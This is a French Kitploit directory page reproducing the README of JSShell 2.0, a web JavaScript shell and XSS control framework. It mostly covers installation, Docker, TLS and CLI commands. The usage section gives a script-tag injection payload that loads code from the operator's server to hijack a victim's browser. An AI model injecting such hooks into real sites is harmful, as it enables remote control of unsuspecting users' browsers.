Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
JSShell — Un shell Web JS interactif multi-utilisateur | Kitploit
Outils/GitHubGitHub/den1al/jsshell
ExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHubden1al/jsshell

JSShell

Un shell Web JS interactif multi-utilisateur

Voir le dépôt
364701il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

JSShell 2.0

made-with-python Generic badge Generic badge

Un shell JavaScript interactif multi-utilisateurs basé sur le web. Il a été initialement créé pour déboguer des navigateurs exotiques à distance lors d'expériences et de recherches. Cet outil peut être facilement attaché à des charges utiles XSS (Cross-Site Scripting) pour réaliser une exécution de code à distance dans le navigateur (similaire au framework BeeF).

La version 2.0 est entièrement réécrite, introduisant de nouvelles fonctionnalités passionnantes, de la stabilité et de la maintenabilité.

Version: 2.0

Auteur

Daniel Abeles.

Vidéo du Shell

asciicast

Fonctionnalités

  • Support multi-clients
  • Support des objets DOM cycliques
Télécharger l’outil
  • Scripts de pré-vol
  • File d'attente et contexte de commandes
  • Extensible via des plugins
  • Injectable via des balises <script>
  • Export des résultats de commandes dans un fichier
  • Pagination du shell
  • Support HTTPS ! Generic badge
  • Installation et Configuration

    Fichier de Configuration

    Dans le répertoire resources, mettez à jour le fichier config.json avec votre configuration souhaitée :

    • Hôte de la base de données – si vous utilisez la méthode de déploiement docker, choisissez l'hôte de la base de données comme db (qui est le nom d'hôte interne).
    • URL de retour – l'URL que les requêtes suivront. Le fichier shell.js effectue des appels AJAX pour s'enregistrer et interroger les nouvelles commandes. Généralement, ce sera http[s]://{VOTRE_IP_SERVEUR}:{PORT}.
    • Script de démarrage – un script qui s'exécute automatiquement lorsque le client CLI JSShell est lancé.
    • Domaine – si vous souhaitez générer des certificats TLS, c'est le nom de domaine que le serveur utilisera.
    • Il est également possible de pointer vers une base de données distante si vous le souhaitez.

    Let's Encrypt

    JSShell supporte désormais TLS, ce qui signifie que vous pouvez générer des certificats TLS et les fournir au serveur web. Le serveur web déduira le nom de domaine du fichier config.json. Pour créer le certificat, utilisez le script create_cert.py dans le dossier scripts :

    root@kitploit:~
    $ cd scripts
    $ python create_cert.py --domain <VOTRE_DOMAINE> --email <VOTRE_EMAIL>
    
    le champ email est facultatif.

    Veuillez noter que le serveur web doit être arrêté pour que le script fonctionne correctement. À ce stade, nous avons généré avec succès nos certificats ! Les seules modifications nécessaires sont :

    • Dans le fichier config.json, changez le schéma du champ URL en https.
    • Dans le fichier docker-compose.yml, modifiez le port exposé du conteneur web en 443.

    Docker

    Cette nouvelle version permet d'installer et d'exécuter JSShell via docker et docker-compose. Désormais, pour installer et exécuter l'ensemble du framework JSShell, exécutez simplement :

    root@kitploit:~
    $ ./scripts/start_docker_shell.sh
    

    Cela va :

    • Démarrer et créer la base de données en arrière-plan
    • Démarrer le serveur web API qui gère les connexions entrantes en arrière-plan
    • Lancer une nouvelle instance du conteneur d'interface en ligne de commande JSShell

    Standard

    Si vous préférez utiliser la méthode d'installation traditionnelle, assurez-vous simplement d'avoir une base de données MongoDB opérationnelle et mettez à jour le fichier config.json situé dans le répertoire resources.

    Je recommande d'utiliser un environnement virtuel avec pyenv :

    root@kitploit:~
    $ pyenv virtualenv -p python3.6 venv
    $ pyenv activate venv
    

    Ou avec virtualenv :

    root@kitploit:~
    $ virtualenv -p python3.6 venv
    $ source venv/bin/activate
    

    Ensuite, installez les dépendances :

    root@kitploit:~
    $ pip install -r requirements.txt
    

    Exécution

    Si vous avez utilisé la méthode docker, il n'est pas nécessaire d'exécuter la procédure suivante.

    Serveur Web

    Sinon, une fois la base de données configurée, nous devons démarrer le serveur web API. Pour ce faire, exécutez :

    root@kitploit:~
    $ python manage.py web
    

    Cela créera et lancera un serveur web qui écoute les connexions entrantes et sert notre code JSShell.

    Shell

    Pour démarrer l'interface en ligne de commande JSShell, exécutez le même script mais avec l'option shell :

    root@kitploit:~
    $ python manage.py shell
    

    Utilisation

    Après l'installation et le lancement des composants nécessaires, entrez la commande help pour voir les commandes disponibles :

    root@kitploit:~
         ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
         ║╚═╗└─┐├─┤├┤ │  │  
        ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
            by @Daniel_Abeles
        
    >> help
    
    Documented commands (type help <topic>):
    
    General Commands
    --------------------------------------------------------------------------------
    edit                Edit a file in a text editor
    help                List available commands or provide detailed help for a specific command
    history             View, run, edit, save, or clear previously entered commands
    ipy                 Enter an interactive IPython shell
    py                  Invoke Python command or shell
    quit                Exit this application
    
    Shell Based Operations
    --------------------------------------------------------------------------------
    back                Un-select the current selected client
    clients             List and control the clients that have registered to our system
    commands            Show the executed commands on the selected client
    dump                Dumps a command to the disk
    execute             Execute commands on the selected client
    select              Select a client as the current client
    
    >> 
    

    Fonctionnement

    JSShell prend en charge deux méthodes de fonctionnement :

    1. Shell Injectable (similaire au framework BeeF)
    2. Shell Hébergé (pour le débogage)

    Shell Injectable

    Similaire à d'autres frameworks de contrôle XSS (comme BeeF), JSShell est capable de gérer des exploitations XSS réussies. Par exemple, si vous pouvez injecter une balise script, injectez la ressource suivante dans votre charge utile, et un nouveau client apparaîtra dans votre console :

    <script src="http[s]://{VOTRE_IP_SERVEUR}:{PORT}/content/js"></script>

    Shell Hébergé

    Si vous souhaitez déboguer des navigateurs exotiques, vous pouvez simplement naviguer vers http[s]://{VOTRE_IP_SERVEUR}:{PORT}/ et un nouveau client apparaîtra dans votre client CLI JSShell. Il sera alors débogable via notre console JSShell.

    Crédits

    Canop pour JSON.prune

    utilisez-le à vos propres risques et responsabilités.